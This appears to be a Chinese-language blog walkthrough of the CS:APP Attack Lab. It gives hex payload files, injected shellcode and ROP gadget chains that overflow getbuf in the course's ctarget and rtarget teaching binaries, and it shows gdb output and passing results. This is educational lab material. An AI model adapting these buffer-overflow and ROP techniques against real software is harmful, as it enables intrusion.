要么改变世界,要么适应世界

CS:APP-Attack Lab

2023-09-08 15:44:39
0
目录

前言

在这个实验中,我们主要分别通过代码注入和ROP的方式对可执行文件执行缓冲区溢出漏洞利用。

第一部分:代码注入

先获取汇编代码

objdump -d ctarget > ctarget.s

该部分中,利用字符串攻击CTARGET,该程序的堆栈位置在每次运行时都是一致的,因此堆栈上的数据可被视为可执行代码。

4-1

void test() {
    int val;
    val = getbuf();
    printf("No exploit. Getbuf returned 0x%x\n", val);
}

test程序调用getbuf函数,然后需要我们输入字符串,造成缓冲区溢出,控制程序,使其进入touch1函数中,而不是回到test函数中。通过观察getbuf的汇编,我们可以发现其内部开辟了40字节的内存:

00000000004017a8 <getbuf>:
  4017a8:	48 83 ec 28          	sub    $0x28,%rsp
  4017ac:	48 89 e7             	mov    %rsp,%rdi
  4017af:	e8 8c 02 00 00       	call   401a40 <Gets>

我们来看一下最初的栈帧情况:

低地址

字符串地址--> +----------------+
            |                |
            |   0x28h字节     |
            |                |
            +----------------+
            |  test返回地址   |
            +----------------+
高地址

由于Gets函数调用过程中,会将输入的字符串往高地址写入,因此如果我们尝试写入多于0x28h字节后,再次输入时,会将返回地址覆盖,我们借助这个特性,控制程序的走向,把返回地址覆盖为touch1的地址即可。

写入文件4_1.txt

00 00 00 00 00 00 00 00 /* 写入40字节的占位符  */
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
c0 17 40 00 00 00 00 00 /*  touch1 所在地址,用于覆盖返回地址,注意,地址是8个字节的 */

测试:

./hex2raw < 4_1.txt | ./ctarget -q
Cookie: 0x59b997fa
Type string:Touch1!: You called touch1()
Valid solution for level 1 with target ctarget
PASS: Would have posted the following:
        user id bovik
        course  15213-f15
        lab     attacklab
        result  1:PASS:0xffffffff:ctarget:1:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 C0 17 40 00 00 00 00 00

4-2

这一关卡,在上一个关卡的基础之上,还要求我们传入参数,而我们知道,C语言函数调用过程中,第一个参数保存在寄存器rdi中,因此我们要想办法在返回函数touch2之前修改rdi

而修改rdi也很简单,只需要借助下面的指令即可

mov $0x59b997fa, %rdi  # 将 cookie 的值传入

因此正确的逻辑是,通过缓冲区溢出,控制程序走到上述指令位置,执行完上述指令后,再回到touch2函数中,因此关键是怎么获取上述指令的位置。

实际上,上述指令是我们通过缓冲区溢出得到的,换句话说,我们如果能够获取getbuf函数中buf字符串首地址,那我们就可以间接获取到了上述指令的地址,我们可以借助gdb完成这个步骤:

gdb ctarget

然后下断点在getbuf函数:

b getbuf
run -q
--------------------------
 RAX  0x0
*RBX  0x55586000 ◂— 0
 RCX  0x0
 RDX  0x0
*RDI  0x5561d758 —▸ 0x7ffff7c596f0 (funlockfile) ◂— mov    rdi, qword ptr [rdi + 0x88]
*RSI  0x4032c0 ◂— add    byte ptr [rsi + 0x6f], cl
 R8   0x0
*R9   0x7ffff7d71640 (__memcpy_ssse3+8672) ◂— mov    rcx, qword ptr [rsi - 0xc]
*R10  0x7ffff7c0be40 ◂— 0xe001a00007bc4
*R11  0x7ffff7dbb650 ◂— 0xfffb5a60fffb5898
*R12  0x2
 R13  0x0
 R14  0x0
*R15  0x7ffff7ffd020 (_rtld_global) —▸ 0x7ffff7ffe240 ◂— 0x0
*RBP  0x55685fe8 —▸ 0x402fa5 ◂— push   0x3a6971 /* 'hqi:' */
*RSP  0x5561dca0 —▸ 0x401976 (test+14) ◂— mov    edx, eax
*RIP  0x4017a8 (getbuf) ◂— sub    rsp, 0x28
──────────────────────────────────────────────────────────────────────────────────[ DISASM ]──────────────────────────────────────────────────────────────────────────────────
 ► 0x4017a8 <getbuf>       sub    rsp, 0x28
   0x4017ac <getbuf+4>     mov    rdi, rsp
   0x4017af <getbuf+7>     call   Gets                      <Gets>
 
   0x4017b4 <getbuf+12>    mov    eax, 1
   0x4017b9 <getbuf+17>    add    rsp, 0x28
   0x4017bd <getbuf+21>    ret    
 
   0x4017be                nop    
   0x4017bf                nop    
   0x4017c0 <touch1>       sub    rsp, 8
   0x4017c4 <touch1+4>     mov    dword ptr [rip + 0x202d0e], 1 <vlevel>
   0x4017ce <touch1+14>    mov    edi, 0x4030c5

通过观察控制台,我们可以知道,此时栈顶指针是0x5561dca0,但是buf的首地址是还要减去0x28,即0x5561dc78,为了方便,我们直接把修改rdi的指令放到该地址开始的地方即可。

我们先编写指令

# 4_2_code.s
movq $0x59b997fa, %rdi  # 将 cookie 的值传入
pushq $0x4017ec       # 写入 touch2 所在地址
ret					  # 将栈顶元素作为返回地址

然后生成对应的机器码:

gcc -c 4_2_code.s
objdump -d 4_2_code.o > 4_2_code.d
cat 4_2_code.d

0000000000000000 <.text>:
   0:   48 c7 c7 fa 97 b9 59    mov    $0x59b997fa,%rdi
   7:   68 ec 17 40 00          push   $0x4017ec
   c:   c3                      ret

写入文件4_2.txt

48 c7 c7 fa 97 b9 59 68
ec 17 40 00 c3 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
78 dc 61 55 00 00 00 00  /* 0x5561dc78,即字符串首地址 */

测试

./hex2raw < 4_2.txt | ./ctarget -q
Cookie: 0x59b997fa
Type string:Touch2!: You called touch2(0x59b997fa)
Valid solution for level 2 with target ctarget
PASS: Would have posted the following:
        user id bovik
        course  15213-f15
        lab     attacklab
        result  1:PASS:0xffffffff:ctarget:2:48 C7 C7 FA 97 B9 59 68 EC 17 40 00 C3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 DC 61 55 00 00 00 00

4-3

本关卡要求我们调用touch3的时候,传入一个字符串地址,该字符串内容是我们的cookie的值(以字符串形式),其实关键是获取到字符串地址,同时写入到不会被覆盖的地方

先看看涉及的两个函数:

int hexmatch(unsigned val, char *sval)
{
    char cbuf[110];
    /* Make position of check string unpredictable */
    // 将 cookie 以16进制的形式转为字符串,不够8位的在左边补0
    char *s = cbuf + random() % 100;
    // 将字符串随机写到以cbuf为首的一段地址内
    sprintf(s, "%.8x", val);
    // 比较
    return strncmp(sval, s, 9) == 0;
}

void touch3(char *sval)
    {
        vlevel = 3; /* Part of validation protocol */
        if (hexmatch(cookie, sval)) {
        printf("Touch3!: You called touch3(\"%s\")\n", sval);
        validate(3);
    } else {
        printf("Misfire: You called touch3(\"%s\")\n", sval);
        fail(3);
    }
	exit(0);
}

我们先来看一下getbuf栈帧情况:

低地址

字符串buf地址-->  +----------------+
                |                |
                |   0x28h字节     |
                |                |
                +----------------+
                |  test返回地址   |
                +----------------+
高地址

如果我们尝试像上个关卡一样,把我们的cookie字符串写入到buf的首地址,等我们进入到touch3,再进入到hexmatch时候,由于会在本地开启110字节的内存,然后随机写入cookie,这个过程有可能将我们之前写入的内容覆盖,因此一开始的时候,我们要把cookie字符串写入到返回地址后面。即:

低地址

字符串buf地址-->  +----------------+
                |                |
                |   0x28h字节     |
                |                |
                +----------------+
                |    返回地址     |
                +----------------+
                |  cookie字符串   |
                +----------------+
高地址

cookie所在的地址为:0x5561dca0+8=0x5561dca8h

# 4_3_code.s
movq $0x5561dca8, %rdi  # 将 cookie字符串地址 传入
pushq $0x4018fa       # 写入 touch3 所在地址
ret					  # 将栈顶元素作为返回地址

生成对应的字节码:

gcc -c 4_3_code.s
objdump -d 4_3_code.o > 4_3_code.d
cat 4_3_code.d


Disassembly of section .text:

0000000000000000 <.text>:
   0:   48 c7 c7 a8 dc 61 55    mov    $0x5561dca8,%rdi
   7:   68 fa 18 40 00          push   $0x4018fa
   c:   c3                      ret

写入文件4_3.txt

48 c7 c7 a8 dc 61 55 68
fa 18 40 00 c3 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
78 dc 61 55 00 00 00 00  /* 0x5561dc78,即字符串首地址 */
35 39 62 39 39 37 66 61 /* 59b997fa 每个字符对应的ascii码 */

测试:

./hex2raw < 4_3.txt | ./ctarget -q
Cookie: 0x59b997fa
Type string:Touch3!: You called touch3("59b997fa")
Valid solution for level 3 with target ctarget
PASS: Would have posted the following:
        user id bovik
        course  15213-f15
        lab     attacklab
        result  1:PASS:0xffffffff:ctarget:3:48 C7 C7 A8 DC 61 55 68 FA 18 40 00 C3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 DC 61 55 00 00 00 00 35 39 62 39 39 37 66 61

第二部分:ROP

5-1

先获取汇编代码

objdump -d rtarget > rtarget.s

这个关卡中,我们要调用touch2,我们需要寻找能够修改rdi的gadgets,最优的情况是,能够找到pop rdi且同时后面接上一个pop ,这样一来我们就可以方便控制程序走向的同时还能控制传入的参数,但是所提供的rtarget.s中,并不存在popq rdi=0x5f,我们只能退而求其之。

幸好我们存在movq %rax,%rdi=48 89 c7

00000000004019a0 <addval_273>:
  4019a0:	8d 87 48 89 c7 c3    	lea    -0x3c3876b8(%rdi),%eax
  4019a6:	c3                   	ret

如果我们从0x4019a2这个地址开始解析,我们可以得到指令如下:

4019a2: 48 89 c7  movq %rax,%rdi=48 89 c7
4019a5: c3        ret

接着这个思想,我们要寻找能够修改rax的gadgets,最终的完整利用链如下(注意,我们不能修改堆栈指针rsprbp,因为有的时候我们要借助这些指针作为基地址):

4019cc: 58  		popq %rax
4019cd: 90			nop
4019ce: c3			ret
|
v
4019a2: 48 89 c7  	movq %rax,%rdi
4019a5: c3			ret
|
v
00000000004017ec <touch2>:

写入文件5_1.txt

00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
cc 19 40 00 00 00 00 00
fa 97 b9 59 00 00 00 00
a2 19 40 00 00 00 00 00
ec 17 40 00 00 00 00 00

测试:

./hex2raw < 5_1.txt | ./rtarget -q
Cookie: 0x59b997fa
Type string:Touch2!: You called touch2(0x59b997fa)
Valid solution for level 2 with target rtarget
PASS: Would have posted the following:
        user id bovik
        course  15213-f15
        lab     attacklab
        result  1:PASS:0xffffffff:rtarget:2:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 CC 19 40 00 00 00 00 00 FA 97 B9 59 00 00 00 00 A2 19 40 00 00 00 00 00 EC 17 40 00 00 00 00 00

5-2

为了能够成功调用touch3,在这一部分中,我们要调用touch3,同时要传入一个字符串地址,而在rtarget中,由于采用了随机地址化策略,我们无法通过gdb调试方式获取。

然而,实际上在getbuf函数中,buf字符串地址是通过栈指针来确定的,我们可借助这个特性,先将栈顶指针获取,然后通过加减法获取实际buf地址即可获取我们输入的cookie字符串起始位置,因此我们可以利用缓冲区溢出漏洞,将返回地址返回到保存rsp,记下此时的栈顶,再通过pop rax的方式将我们的偏移量放到rax中,再经过一些调用,最终使得我们能够调用add_xy(x,y)函数,完成字符串偏移地址计算。

写入文件5_2.txt

00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
/* 由于add_xy()需要修改rdi和rsi,因此我们要想办法填入这两个参数 */
06 1a 40 00 00 00 00 00 /* movq %rsp,%rax 所在地址,rsp距离cookie字符串 8*9=72字节 */
c5 19 40 00 00 00 00 00 /* movq %rax,%rdi 所在地址 */ 
cc 19 40 00 00 00 00 00 /* popq %rax 所在地址 */
48 00 00 00 00 00 00 00 /* 偏移量为72字节 */
dd 19 40 00 00 00 00 00 /* movl %eax,%edx 所在地址 */
69 1a 40 00 00 00 00 00 /* movl %edx,%ecx 所在地址 */
13 1a 40 00 00 00 00 00 /* movl %ecx,%esi 所在地址 */
d6 19 40 00 00 00 00 00 /*  lea (%rdi,%rsi,1),%rax 所在地址 */
c5 19 40 00 00 00 00 00 /* movq %rax,%rdi 所在地址 */
fa 18 40 00 00 00 00 00 /* touch3 */
35 39 62 39 39 37 66 61 /* cookie字符串对应的ASCII */

测试

./hex2raw < 5_2.txt | ./rtarget -q
Cookie: 0x59b997fa
Type string:Touch3!: You called touch3("59b997fa")
Valid solution for level 3 with target rtarget
PASS: Would have posted the following:
        user id bovik
        course  15213-f15
        lab     attacklab
        result  1:PASS:0xffffffff:rtarget:3:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 06 1A 40 00 00 00 00 00 C5 19 40 00 00 00 00 00 CC 19 40 00 00 00 00 00 48 00 00 00 00 00 00 00 DD 19 40 00 00 00 00 00 69 1A 40 00 00 00 00 00 13 1A 40 00 00 00 00 00 D6 19 40 00 00 00 00 00 C5 19 40 00 00 00 00 00 FA 18 40 00 00 00 00 00 35 39 62 39 39 37 66 61
历史评论
开始评论